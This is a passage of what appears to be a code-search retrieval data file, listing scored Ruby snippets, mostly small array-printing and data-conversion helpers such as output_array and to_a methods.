"score": "0.5638283", "text": "def showData\n puts( $cd_arr.to_yaml )\nend", "title": "" }, { "docid": "851e8164534ca0ae2a3d3846b24c06a8", "score": "0.56353", "text": "def writeArray(someArray)\n someArray.each { |i| puts( i ) }\nend", "title": "" }, { "docid": "3e36dc8861a95d3a0b4f4b0d58e7bd21", "score": "0.5626404", "text": "def print_array(all_comms, input_file)\n outFile = \"#{input_file}.ss\"\n outfile = File.open(outFile, 'w')\n all_comms.each do |record|\n outfile.puts \"#{record[\"site_name\"]},#{record[\"hostname\"]},#{record[\"domainname\"]},#{record[\"local_ip\"]},#{record[\"local_port\"]},#{record[\"process_name\"]},#{record[\"process_user\"]},#{record[\"peer_ip\"]},#{record[\"peer_port\"]}\"\n end\nend", "title": "" }, { "docid": "4ced458dff7815df183c8b8127e73a82", "score": "0.56178653", "text": "def pry_output_content\n pry_array_content_as_string(_pry_.output_array, self.class.output_result_ranges) do |v|\n Pry.config.gist.inspecter.call(v)\n end\n end", "title": "" }, { "docid": "6f38d309ec5bb6bca1e67c21bed72461", "score": "0.56105196", "text": "def output_array(array)\n i=0\n while i<array.length do\n puts array[i]\n i+=1\n end\nend", "title": "" }, { "docid": "19403d92b85c61e0b976382d0074a5d3", "score": "0.56098354", "text": "def output_array array\n counter = 0 \n \n while (counter < array.length) do\n puts array[counter]\n counter += 1\n end\nend", "title": "" }, { "docid": "35a7daf7825ca47d0dd03fd9578eb193", "score": "0.5608614", "text": "def wire_to_array(args={})\n\t\t\tfilter = args[:filter] \n\t\t\tbpf(:filter=>filter) if filter\n\n\t\t\twhile this_pkt = @stream.next\n\t\t\t\t@array << this_pkt\n\t\t\tend\n\t\t\t@array.size\n\t\tend", "title": "" }, { "docid": "6b3e5d55aab257452f0b72a59978d77d", "score": "0.560667", "text": "def stdoutCommaDelimitedData()\n stdoutDelimitedData(/,/, @data)\n end", "title": "" }, { "docid": "83d0980f26d3b0065ca8241e56646895", "score": "0.5585534", "text": "def output_data\n raise RuntimeError, 'retained output data is gone' if @retained_output_data.nil?\n out_data = [nil] * @outputs.size\n @output_indexes_to_retain.zip(@retained_output_data).each do |index, data|\n out_data[index] = data\n end\n out_data\n end", "title": "" }, { "docid": "7cf0fce5159faf96f03530d90dc02a0d", "score": "0.5583369", "text": "def process_data\n raise 'process_data must be implemented'\n end", "title": "" }, { "docid": "e29bc43814d7dbc715c97c571a850821", "score": "0.55821544", "text": "def to_array() \n viewable_array = Array.new\n @results.each do |tuple|\n results = tuple.join(\", \")\n viewable_array.push(results)\n end\n return viewable_array\n end", "title": "" }, { "docid": "15cdccd1ce685bdd23b2312d44dfa0e9", "score": "0.5580879", "text": "def taskarray\n end", "title": "" }, { "docid": "0b60425a622c3f7edcaab8d2267c24c5", "score": "0.55761814", "text": "def to_a\n @chunks.map{|c| c.pushdata? ? c.pushdata : c.opcode }\n end", "title": "" }, { "docid": "33c690e90a23803a14b271ded9db1313", "score": "0.55727553", "text": "def print_array arr\n arr.each do |row|\n p row\n end\n puts \nend", "title": "" }, { "docid": "b2604fd56bb9d1092e11c7bb4cc56fd6", "score": "0.55719876", "text": "def write_framed_array(array) # :nodoc:\n start_pos = io.pos\n length_written = 0\n \n if process_in_bulk\n arr = []\n array.each {|item| arr.concat(item == nil ? nil_value : item) }\n length_written += io.write(arr.pack(format))\n else\n array.each do |item|\n length_written += io.write(item == nil ? nil_value(false) : item.pack(format))\n end\n end\n \n # update io.length as necessary\n end_pos = start_pos + length_written\n io.length = end_pos if end_pos > io.length\n end", "title": "" }, { "docid": "3fa963547aeeee9ea7f99273d41cb742", "score": "0.5568786", "text": "def getOutput(name, data, dim)\n out = Array.new()\n if data.length === 0\n out << ifNoData(name)\n return out\n end\n data.each{|entry| eachDatum(name, entry[\"smiles\"], dim).each{|e| out << e}}\n return out\nend", "title": "" }, { "docid": "711e281ed2010c9baeea836a7a61c442", "score": "0.55638766", "text": "def ach_data\n process! unless processed?\n\n return @header, batches, @control\n end", "title": "" }, { "docid": "44f476383a907b4a2f14aa5d256b7012", "score": "0.55631536", "text": "def each_data; end", "title": "" }, { "docid": "f4ac3cbe78fb0c3bd6fcaa278fcb6e51", "score": "0.5562397", "text": "def output_arr(arr)\n\tarr.each{|item| puts \"* \" + item }\nend", "title": "" }, { "docid": "c4c155ab5e80788da7aa754f16900de0", "score": "0.5561349", "text": "def process(data = @data, data_processor = github_api_language_processor)\n data.each do |x|\n x\n end\n end", "title": "" }, { "docid": "7f12d5cfe87dc1f5f584f6b84126091d", "score": "0.55552834", "text": "def json_output\n output.map { |record| MultiJson.load(record) }\n end", "title": "" }, { "docid": "ffed457cc406243d673c5ddc62f26d56", "score": "0.5553283", "text": "def to_a\n \t\treturn @data\n \tend", "title": "" }, { "docid": "8765ee0d93195d82a2c5d9b7f13dc25a", "score": "0.5551347", "text": "def results\n array\n end", "title": "" }, { "docid": "6c54b307284dbef3aa07671ba44305e0", "score": "0.5542525", "text": "def print_array(array)\n print array\n end", "title": "" }, { "docid": "7457ddec16f90b7443c897f08d4dd01c", "score": "0.5540237", "text": "def render(data, output_format)\n return to_text(data) if output_format == :text\n return to_hash_array(data) if output_format == :hash_array\n end", "title": "" }, { "docid": "95520d23434d004447930c5c545d4ef9", "score": "0.5539124", "text": "def view_output(output)\n if output.is_a?(Array)\n matrix = output.map do |char|\n begin\n char = char.chr\n rescue RangeError\n puts \"RangeError\"\n end\n char\n end\n matrix = matrix.join(\"\").split(\"\\n\").map { |r| r.split(\"\") }\n\n matrix.each { |m| puts m.join(\"\") }\n else\n p output\n end\nend", "title": "" }, { "docid": "497c2e8d262333ab9d0dcc3091ccffac", "score": "0.5537383", "text": "def r_a(data_cmd) \r\n data = r_d(data_cmd)\r\n if data != nil\r\n if data.include? \"\\n\" \r\n data = data.split(/\\n/)\r\n else \r\n data2 = Array.new\r\n data2[0] = data.stdout\r\n data = data2\r\n end\r\n end\r\n return data\r\nend", "title": "" }, { "docid": "926aa2fa0b232da7b4521bcc00a32ba9", "score": "0.55262536", "text": "def showData\n puts($cd_arr.to_yaml)\nend", "title": "" }, { "docid": "96a5f67bdaab8bef227aa84b716fa034", "score": "0.5525132", "text": "def process_array(array)\n return '[]' if array.empty?\n\n result = sorted_array(array).map do |array_value|\n processed = process_according_to_class(array_value)\n case array_value\n when Array, Hash\n if array_value.size > 1\n processed = processed.gsub(/^.*/).to_a\n head = processed.shift\n processed.map { |s| \" #{s}\" }.prepend(head).join(\"\\n\")\n else\n processed\n end\n else\n processed\n end\n end\n \"- #{result.join(\"\\n- \").strip}\"\n end", "title": "" }, { "docid": "fd3d49640741b6acc2d72f1f341111ee", "score": "0.55246204", "text": "def send_data\n\t\treturn @point_data.to_a\n\tend", "title": "" }, { "docid": "7dd467a356394d9c6f001dd3da54862f", "score": "0.55124974", "text": "def getArrayResult\n execute [], HYDRATE_ARRAY\n end", "title": "" }, { "docid": "f81fdc82fa59a5b9d4cc8180fdb2eae3", "score": "0.5502846", "text": "def output ; @output ||= data['output'] end", "title": "" }, { "docid": "b259034a750c6594ccad90125334f7a4", "score": "0.5489561", "text": "def output_array(array)\n counter = 0\n while counter < array.length do\n puts array[counter]\n counter += 1\n end\nend", "title": "" }, { "docid": "fd1e91caa49b6d72752bb775c3c66509", "score": "0.5488973", "text": "def output_array (array)\n counter = 0\n while counter < array.length do\n puts array[counter]\n counter += 1\n end\nend", "title": "" }, { "docid": "0d270d25651b7ead930f9988ddeba8f4", "score": "0.5488386", "text": "def to_a\n map(&:data)\n end", "title": "" }, { "docid": "40539e40ab1d8364b9d93ce2ca8161d0", "score": "0.54870224", "text": "def parse(data)\n parse_each(data).to_a\n end", "title": "" }, { "docid": "1c3724ca1affa9acdde10d3476b29ca0", "score": "0.5476202", "text": "def values\n wrap_output_array(function(:avals))\n end", "title": "" }, { "docid": "c5a67769665ffc79d448a0dbe9d20d46", "score": "0.54730964", "text": "def to_a\n data\n end", "title": "" }, { "docid": "ca748854da83f3209cc0d69182791dca", "score": "0.54709226", "text": "def handle_output\n end", "title": "" }, { "docid": "9c8680f35c48b4eee182092b6ff83aae", "score": "0.54674727", "text": "def prepare_data\n @data = Array.new(self.dataSize) do |i|\n i * self.dataStep\n end\n end", "title": "" }, { "docid": "b112303204d01ca41081873feadc3131", "score": "0.5463014", "text": "def get_data\n\t\tself.process\n\t\t@result \n\tend", "title": "" }, { "docid": "f54ae1e1d27e4e746226fa566a1bb5ba", "score": "0.5462366", "text": "def output\n return @out\n end", "title": "" }, { "docid": "a899329f10231efdf9c3507f2a7fccc4", "score": "0.5459736", "text": "def heures\n res = Array.new\n @data.each { |x| res << x[0] }\n res\n end", "title": "" }, { "docid": "24ba3c7297b3099fc3369903a4a6124d", "score": "0.5456088", "text": "def execute(data)\n case data\n when Array\n data.map do |value|\n converter.reduce(value) do |value, converter|\n converter.execute(value)\n end\n end\n else data\n end\n end", "title": "" }, { "docid": "424835914d22de6f68f158d59596bb0a", "score": "0.5451514", "text": "def loadjobdetails\n \n \n job_id = params[:jobId]\n \n job_id_xx = job_id.split('_').last\n \n job_outputs = JobOutput.where(\"job_id = ? \", job_id_xx )\n ap job_outputs\n \n output=[]\n \n for job_output in job_outputs\n \n workitem = job_output.work_output\n \n if workitem.instance_of? SamToolsSortOutput\n \n sort = SamToolsSort.new\n # needs to be class method\n output_html = sort.get_output_as_html(workitem)\n output << output_html\n \n elsif workitem.instance_of? WorkflowItemWorkerOutput\n \n worker_output = WorkflowItemWorkerOutput.new\n output_html = worker_output.get_output_as_html(workitem)\n output << output_html\n \n end\n \n \n end\n \n \n #end\n \n # THIS OUTPUT IS BEING SENT TO CLIENT\n # NEED TO DRAW THIS ON CLIENT SIDE\n\n puts \"Output is\"\n puts output.inspect\n \n if output.length == 0\n output << \"No output available\"\n \n end\n \n return render :json=>output.to_json\n\n \n \n end", "title": "" }, { "docid": "4ab87e3a4db5da5bf710c0ca21969d68", "score": "0.5444689", "text": "def mostrar_array(cartas)\n cartas.each{|c| puts c}\nend", "title": "" } ]
00014cb431baa7d188188377e5762fad
End of genetic recombinators
[ { "docid": "05249a8b399c3d61fd20e0d1f241a701", "score": "0.0", "text": "def total_driving_distance(itin)\n itin.conses(2).inject(0) {|dist, ((x1,y1),(x2,y2))|\n dist+Math.sqrt(((y2-y1)**2)+((x2-x1)**2))}\nend", "title": "" } ]
[ { "docid": "1df65d045e0d65f9bf9b98c8cdd94356", "score": "0.6635099", "text": "def finish()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "ac2fbdd95f79403a9a4b085a8d425a42", "score": "0.64983106", "text": "def germinate\n end", "title": "" }, { "docid": "1284ad8cfe9dc7e66f41331cef91d1e2", "score": "0.6471334", "text": "def run_finish\n end", "title": "" }, { "docid": "4d4be8da658f348538060d70078b1102", "score": "0.6419584", "text": "def end_aggregator(aggregator)\n # nothing here\n end", "title": "" }, { "docid": "bafa14ea1ac57b9f707cd2809baa4314", "score": "0.64053094", "text": "def finish(*) end", "title": "" }, { "docid": "bafa14ea1ac57b9f707cd2809baa4314", "score": "0.64053094", "text": "def finish(*) end", "title": "" }, { "docid": "bafa14ea1ac57b9f707cd2809baa4314", "score": "0.64053094", "text": "def finish(*) end", "title": "" }, { "docid": "a7a7f742c9125435d551237aec8f196c", "score": "0.64001924", "text": "def finish\n end", "title": "" }, { "docid": "a7a7f742c9125435d551237aec8f196c", "score": "0.64001924", "text": "def finish\n end", "title": "" }, { "docid": "50926e82e8221e4169efc7e37b60211a", "score": "0.6348411", "text": "def at_end; end", "title": "" }, { "docid": "50926e82e8221e4169efc7e37b60211a", "score": "0.6348411", "text": "def at_end; end", "title": "" }, { "docid": "69b58c0bdd470cbacf2f682c3bb3d28b", "score": "0.6342701", "text": "def finish!; end", "title": "" }, { "docid": "69b58c0bdd470cbacf2f682c3bb3d28b", "score": "0.6342701", "text": "def finish!; end", "title": "" }, { "docid": "69b58c0bdd470cbacf2f682c3bb3d28b", "score": "0.6342701", "text": "def finish!; end", "title": "" }, { "docid": "69b58c0bdd470cbacf2f682c3bb3d28b", "score": "0.6342701", "text": "def finish!; end", "title": "" }, { "docid": "0cda6eb8186cca81a5277b6cf9766df4", "score": "0.6328758", "text": "def endgrent\n @grents = nil\n end", "title": "" }, { "docid": "45592fe7e45a936f41da32ac7759c3cd", "score": "0.6323957", "text": "def on___end__(value); end", "title": "" }, { "docid": "fc2b70fb0a867c8db4786971c39109e3", "score": "0.6320462", "text": "def onalg_giocataend(best_pl_points)\r\n free_all_btcmd()\r\n super \r\n end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.63153577", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.63153577", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.63153577", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.63153577", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.63153577", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.63153577", "text": "def finish; end", "title": "" }, { "docid": "13a378d58d52e9cf3cd7bc2b611bf442", "score": "0.6313712", "text": "def finish\n @subbuilders.each {|builder| builder.finish}\n end", "title": "" }, { "docid": "d11886590aca6feb872a49aa4899488f", "score": "0.6288733", "text": "def end_sequence\n pop_handler\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.6270479", "text": "def finish\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.6270479", "text": "def finish\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.6270479", "text": "def finish\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.6270479", "text": "def finish\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.6270479", "text": "def finish\n end", "title": "" }, { "docid": "57116e293841f9b2302739df9ad6d692", "score": "0.6228558", "text": "def end_all\n # nothing here\n end", "title": "" }, { "docid": "a8e5a29f57aef8c45b8fe6862252245b", "score": "0.62180334", "text": "def finished; end", "title": "" }, { "docid": "08bb0bb5b22ea7a701bf59425bcf1090", "score": "0.6197143", "text": "def batch_finished\n end", "title": "" }, { "docid": "7f5e9435e0db7d63b56c4ef68a5d9a30", "score": "0.6197113", "text": "def finish\n end", "title": "" }, { "docid": "7e340608aeb31d3ea4c087fad943a73b", "score": "0.6196487", "text": "def do_finish; end", "title": "" }, { "docid": "a2558001f52e823796c6063cb07dc386", "score": "0.61849964", "text": "def ending; end", "title": "" }, { "docid": "a2558001f52e823796c6063cb07dc386", "score": "0.61849964", "text": "def ending; end", "title": "" }, { "docid": "5290fed6abb3d1aa4a92144f54fe399a", "score": "0.6166935", "text": "def finished\n end", "title": "" }, { "docid": "880bb10522d396b8fee1d3311b50cbbd", "score": "0.61499745", "text": "def finish\n finish_active_flag\n finish_arg_defs\n finish_flag_groups\n finish_special_data\n @finished = true\n self\n end", "title": "" }, { "docid": "8704d23d47d0af916067c5189706815c", "score": "0.611345", "text": "def process_end\n end", "title": "" }, { "docid": "a54a4b25a551baab810d87020e8f6513", "score": "0.6101184", "text": "def finish\n @processors.each do |p|\n p.finish\n end\n end", "title": "" }, { "docid": "e806f684239aab65146c38b186a51e5e", "score": "0.6080155", "text": "def finish\n #\n end", "title": "" }, { "docid": "e89c55c80bf33f21dd36ea3b7b0c8692", "score": "0.6070493", "text": "def endGL; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.6060774", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.6060774", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.6060774", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.6060774", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.6060774", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.6060774", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.6060774", "text": "def end; end", "title": "" }, { "docid": "de1a9b66189b769007b3001c6b2fae0f", "score": "0.6058152", "text": "def finish\n @finished = true\n end", "title": "" }, { "docid": "6f0eba4686fc080abc34424d03a9e865", "score": "0.6050043", "text": "def end_sequence\n raise \"Unexpected end of sequence\"\n end", "title": "" }, { "docid": "88f6ce14147120a724075daaf807880c", "score": "0.60334617", "text": "def finish(&block); end", "title": "" }, { "docid": "88f6ce14147120a724075daaf807880c", "score": "0.60334617", "text": "def finish(&block); end", "title": "" }, { "docid": "88f6ce14147120a724075daaf807880c", "score": "0.60334617", "text": "def finish(&block); end", "title": "" }, { "docid": "ce360fac4ef98fc364c922b9a31bd568", "score": "0.60314566", "text": "def finish\n @finish || @break_sequence\n end", "title": "" }, { "docid": "123e0e96650de5997180a8ad615493a9", "score": "0.60280025", "text": "def __end\n $stdout.puts \"Ending chain #{__id__}\"\n super\n end", "title": "" }, { "docid": "9e2afb587bcfb59347b8060099c5c0b8", "score": "0.59978133", "text": "def finish\n nil\n end", "title": "" }, { "docid": "61e594e9a61f84d90eff76e49f3e6eb2", "score": "0.59583366", "text": "def finished\n\tend", "title": "" }, { "docid": "4e680f1c7aee808db6a98830ab0647df", "score": "0.5948756", "text": "def end\n @handled = true\n end", "title": "" }, { "docid": "fa7e02a0006d37db180afe19cf8026cc", "score": "0.5943646", "text": "def finish\n raise NotImplementedError\n end", "title": "" }, { "docid": "fa7e02a0006d37db180afe19cf8026cc", "score": "0.5943646", "text": "def finish\n raise NotImplementedError\n end", "title": "" }, { "docid": "2ed34e9a86277e410127a6a08a9b9b12", "score": "0.59434146", "text": "def script_finish(script)\n end", "title": "" }, { "docid": "9a0558d58c972840c1ce1864e0922c69", "score": "0.59388965", "text": "def __end\n @__ended = true\n self\n end", "title": "" }, { "docid": "adb5bf69a63ca2390900295b8beb6824", "score": "0.5937631", "text": "def ending(agent)\n end", "title": "" }, { "docid": "76d47aa5652e178a022e95473368fd62", "score": "0.59142804", "text": "def finish\n @t.stop\n @done = true\n end", "title": "" }, { "docid": "484bc6e2a4c06e17363a10d301168806", "score": "0.5913728", "text": "def force_finish\n leg = @legs.best_leg\n @to_tag ||= 1;\n apply_leg(leg) if leg\n @termination = CALL_UNKNOWN_COMPLETED_TERM\n end", "title": "" }, { "docid": "f364293592736d20d73e8fefd326ff77", "score": "0.59059566", "text": "def finish!\n pseudo_graph_pattern.update finished_at: Time.now.utc\n end", "title": "" }, { "docid": "f8c6b4ab6eb09e8d7d1f9f55edaee6ec", "score": "0.59044456", "text": "def finish\n self\n end", "title": "" }, { "docid": "227ef9d906949efbf6c498afabc89ab4", "score": "0.5901322", "text": "def finish(options); end", "title": "" }, { "docid": "4eabaa17983f861606fa0ff6df92384b", "score": "0.5894972", "text": "def end(*) end", "title": "" }, { "docid": "26afde75bfcc6a7ddab3f8d23d38b58f", "score": "0.5872502", "text": "def finalize\n\n end", "title": "" }, { "docid": "26afde75bfcc6a7ddab3f8d23d38b58f", "score": "0.5872502", "text": "def finalize\n\n end", "title": "" }, { "docid": "df9716eaf287009d40a13ecec3db8f06", "score": "0.5869504", "text": "def finalize\n @size.times { @queue.push :END_OF_WORK }\n end", "title": "" }, { "docid": "b0274bddf48b4bfd0c1b5ec1cd188f5b", "score": "0.5862781", "text": "def end()\n `this.__end__`\n end", "title": "" }, { "docid": "23df987838bc20d3c97f88ed9ccbb868", "score": "0.5859788", "text": "def finalize\n end", "title": "" }, { "docid": "8e2e2862e3b757f88dc8c13caa403f42", "score": "0.5833941", "text": "def finalize\n end", "title": "" }, { "docid": "18e90880774cce12790c59daeb7b5b56", "score": "0.5821685", "text": "def finalize\n end", "title": "" }, { "docid": "18e90880774cce12790c59daeb7b5b56", "score": "0.5821685", "text": "def finalize\n end", "title": "" }, { "docid": "bf8ea5e63f2bc7a5d02fc23a055fdd69", "score": "0.58214164", "text": "def finalize!\n end", "title": "" }, { "docid": "c08a0f18f679eb997db725809ddc5864", "score": "0.58193415", "text": "def finish\n _process\n @dat\n end", "title": "" }, { "docid": "0526a38126336dfc34b80cd6300d6c34", "score": "0.581561", "text": "def exit_completed; end", "title": "" }, { "docid": "1c95642a26f46aa81146aa08a721a3c1", "score": "0.5809768", "text": "def complete!; end", "title": "" }, { "docid": "d8f7a5360ec2053a1b39ca26bfa36cbb", "score": "0.58043426", "text": "def _roda_after(res)\n end", "title": "" }, { "docid": "726051c842f97d99f8190e3f78e848d3", "score": "0.5797241", "text": "def finalized?; end", "title": "" }, { "docid": "f43fd7d3787cd1208a6bf4763d996509", "score": "0.57860047", "text": "def Redo; end", "title": "" }, { "docid": "4c40691bfc0b34a143638d482205351d", "score": "0.578474", "text": "def finish\n @sth.finish\n @data.finish\n @data = nil\n @sth = nil\n @driver = nil\n @binds = nil\n @schema = nil\n end", "title": "" }, { "docid": "04357dde3cbbb383d055a74ed3f67255", "score": "0.5784054", "text": "def germinate\n # Do nothing for now.\n end", "title": "" }, { "docid": "09936fd5758a8470b736edb871c2ad24", "score": "0.57694066", "text": "def finish\n @ctx.finish\n end", "title": "" }, { "docid": "8e093d5ef7b30295ca495519e6a52146", "score": "0.57685834", "text": "def endgrent\n ::Etc.endgrent\n end", "title": "" }, { "docid": "9fa4e26b96649d8d9ab37b320816e7f3", "score": "0.5766176", "text": "def finalize; end", "title": "" }, { "docid": "b5bca1c96d54432ec68ce3c2687c0ba8", "score": "0.5748593", "text": "def endSnd; end", "title": "" }, { "docid": "de431e657bb858bb0ba35c981218e867", "score": "0.5741114", "text": "def process_end()\n check_and_emit()\n super()\n end", "title": "" }, { "docid": "a60491a6a57ce6af8ce84698a78bff65", "score": "0.5714426", "text": "def end_function()\n quad = Quadruple.new(\"ENDFUNC\", nil, nil, nil)\n @manager.add_quad(quad)\n @manager.counter += 1\n end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.5702092", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.5702092", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.5702092", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.5702092", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.5702092", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.5702092", "text": "def finished?; end", "title": "" } ]
7a55274e5241f1137c3769bb61633154
we want the user to input the time the task needs to be completed and the date we should be specific about how you input the date(month, day, year, time?) amount of time between now and the deadline new instance using Time.new = future time variable Time.now gives you the current time one method get the date & the time then we want a method that takes in those two inputs and returns the unix epoch seconds
[ { "docid": "93eef7f9b7814166b9a1825fe72bb316", "score": "0.0", "text": "def to_unix_time(date)\n #new time object out of the given date and time\n info = date.split(\"T\") #creates 2 item array\n \n the_day = info[0].split(\"-\") #results in a 3 item array [yr, month, day]\n the_time = info[1].split(\":\") #results in a 3 item array [hr, min, second]\n t = Time.new(the_day[0],the_day[1],the_day[2],the_time[0],the_time[1],the_time[2])\n \n \n #convert to unix time\n return t.to_i\nend", "title": "" } ]
[ { "docid": "16d23f17983ee5118d957a40a0966f29", "score": "0.6534241", "text": "def time_to_go(due_time)\n #return the amount of time in minutes that they have left to complete their task\n #puts Time.now\n current_time = Time.now.to_i - 3600*4 #converts current time at this moment to unix time in EST\n #(FUTURE: Work wtih any time zone!?!?)\n unix_time_remaining = due_time - current_time\n time_remaining = Time.at(unix_time_remaining) #back into a time object\n time_remaining = time_remaining.to_s #converts time object to a string\n #puts time_remaining\n date = time_remaining.split(\" \")[0] #grabbing date yyyy-mm-dd\n # p date\n time = time_remaining.split(\" \")[1] #grabbing time hh:mm:ss\n #p time\n hhmmss = time.split(\":\") #split hh mm ss into 3 elements\n #p hhmmss\n days_to_go = date.split(\"-\")[2].to_i #grabbing only date\n \n if days_to_go> 1 \n hhmmss[0]+= (days_to_go-1)*24\n puts \"hi\"\n end\n \n #assuming it's within the same year and month\n # date value = amount of days left\n # time = hh:mm:ss\n \n return hhmmss[0].to_i*60 + hhmmss[1].to_i #should return the amount of minutes remaining\nend", "title": "" }, { "docid": "7ebdf55e943a8d8c7226b61ce8f2efe6", "score": "0.648922", "text": "def deadline(date = Date.today)\n # if Time.now.hour < 15\n # date = date.yesterday\n # end\n date.to_s + \" 15:00:00\"\n end", "title": "" }, { "docid": "92ce8c07a94cd813ac8aa6fe78b86469", "score": "0.6482609", "text": "def deadline; end", "title": "" }, { "docid": "78e3dd5f5e83440531e0d4b938342b09", "score": "0.62372875", "text": "def calc_time\n\n end", "title": "" }, { "docid": "df5f6366d97b8cc9c53058c0c47e06a3", "score": "0.6212976", "text": "def calculate_deadline(duration, app_date, app_time) \n \n app_time_client, app_date_client, app_time = app_time.dup, app_date.dup, parse_time(app_time)\n (Date.parse(app_date) <= Date.today) ? scheduler(duration, next_date(app_date), app_time) : scheduler(duration, app_date, app_time) \n end", "title": "" }, { "docid": "1147ece75a9a8c7dada2b53e9f5d1a24", "score": "0.62066454", "text": "def deadline\n if checked_today?\n Time.zone.now.beginning_of_day + final_hour.hours\n else\n Time.zone.now.beginning_of_day\n end\n end", "title": "" }, { "docid": "e41473d95d452c124a0270159d101cda", "score": "0.6196767", "text": "def create_task_from_input\n start_time = Menu.parse_date(\n get_entry(\"Enter start date (format: YYYY-MM-DD-hh:mm): \"))\n end_time = Menu.parse_date(\n get_entry(\"Enter end date (format: YYYY-MM-DD-hh:mm): \"))\n description = get_entry(\"Enter description: \")\n\n Task::Task.new(start_time, end_time, description)\n end", "title": "" }, { "docid": "7359299bbbe6e8fb3745779731b57c99", "score": "0.6105111", "text": "def compute_time\n if params[:point_time] == \"eod\"\n hour = Time.current.hour\n if hour < 6\n Time.current.beginning_of_day - 1.second\n else\n Time.current.end_of_day\n end\n elsif params[:point_time]\n params[:point_time]\n else\n Time.current\n end\n end", "title": "" }, { "docid": "200a0efd8f62fc70c61a55568f449096", "score": "0.59196", "text": "def deadline_left\n a = deadline.strftime(\"%Y-%m-%d\")\n b = Time.now.strftime(\"%Y-%m-%d\")\n \n a = Date.parse(a)\n b = Date.parse(b)\n \n days=(a-b).to_i \n \n if days == 1\n \"Due tomorrow\"\n elsif days == 0\n \"Deadline today\"\n elsif days == -1\n \"Overdue yesterday\"\n elsif days < 0\n \"#{days.to_s.reverse.chop.reverse} days overdue\"\n else\n \"Deadline in #{days} days\"\n end\n end", "title": "" }, { "docid": "c596e4c2549ca99b3b08b414f1c8c97f", "score": "0.5910706", "text": "def deadline\n\t self.created_at + self.duration.days\n\tend", "title": "" }, { "docid": "51d0d8c867ec6fe9a42214862b8e050c", "score": "0.5854965", "text": "def end_date\n deadline\n end", "title": "" }, { "docid": "3412241c677cafa8dd20ec86e251e79d", "score": "0.5826783", "text": "def question_2_method(commute_time)\n time_split=$final_time_question_1.to_s.split(\":\")\n hour_early_time=time_split[0].to_i\n minutes_early_time=time_split[1].to_i\n \n school_early = Time.new(2017, 1, 1, hour_early_time, minutes_early_time)\n \n $leave_for_school = $get_to_school - commute_time.to_i*60\n \n \n \n date_array2 = $leave_for_school.to_s.split(\" \")\n \n \n time = date_array2[1].to_s\n time_array = time.split(\":\")\n hour = time_array[0]\n minute = time_array[1]\n $final_time_question_2 = \"#{hour}:#{minute}\"\n hour_school_time=$school_time_array[0].to_i\n minutes_school_time=$school_time_array[1].to_i\n #question_1_input=question_1.to_i\n return $final_time_question_2\n end", "title": "" }, { "docid": "f397d7f099c7232294ba3abffb84347d", "score": "0.5814821", "text": "def deadline\n tstamp = Cproton.pn_selectable_deadline(@impl)\n tstamp.nil? ? nil : tstamp / 1000\n end", "title": "" }, { "docid": "32281b269d25b6b039c57ba7f0a99d90", "score": "0.57926774", "text": "def deadline_hour_counter(year, month, day, hour)\n puts \"(FYI, this counter uses the 24 hr clock.)\"\n end_date = Time.new(year, month, day, hour)\n minutes_left = (end_date - Time.now).to_i / 60\n \n if minutes_left > 59\n hours_left = minutes_left / 60\n minutes_left -= (hours_left * 60)\n if hours_left > 23\n days_left = hours_left / 24\n hours_left -= (days_left * 24)\n end \n end\n if days_left\n puts \"#{days_left} days, #{hours_left} hours, #{minutes_left} minutes remaining!\"\n elsif hours_left\n puts \"#{hours_left} hours, #{minutes_left} minutes remaining!\"\n else\n puts \"#{minutes_left} minutes remaining!\"\n end\nend", "title": "" }, { "docid": "b53472c65d344d5141726ba79191435c", "score": "0.5770162", "text": "def intToTime(deadline)\n Time.at(deadline)\n end", "title": "" }, { "docid": "cc6292e520924b8e5b0d34740b9f4e52", "score": "0.5752967", "text": "def deadline(exercise_result)\n exercises.fetch(exercise_result.exercise_id, [1.day.ago]).last\n end", "title": "" }, { "docid": "b512c5cf35e67de48d9f3977fb3bd5e1", "score": "0.57365173", "text": "def question_3_method(get_ready_time)\n time_split=$final_time_question_2.split(\":\")\n hour_early_time=time_split[0].to_i\n minutes_early_time=time_split[1].to_i\n \n\n get_ready = $leave_for_school - get_ready_time.to_i*60\n\n\n date_array3 = get_ready.to_s.split(\" \")\n time = date_array3[1].to_s\n time_array = time.split(\":\")\n hour = time_array[0]\n minute = time_array[1]\n $final_time_question_3 = \"#{hour}:#{minute}\"\n return $final_time_question_3\n end", "title": "" }, { "docid": "86fe3d460e0c34b429957634d248667b", "score": "0.5731306", "text": "def deadline_date_time\n return @deadline_date_time\n end", "title": "" 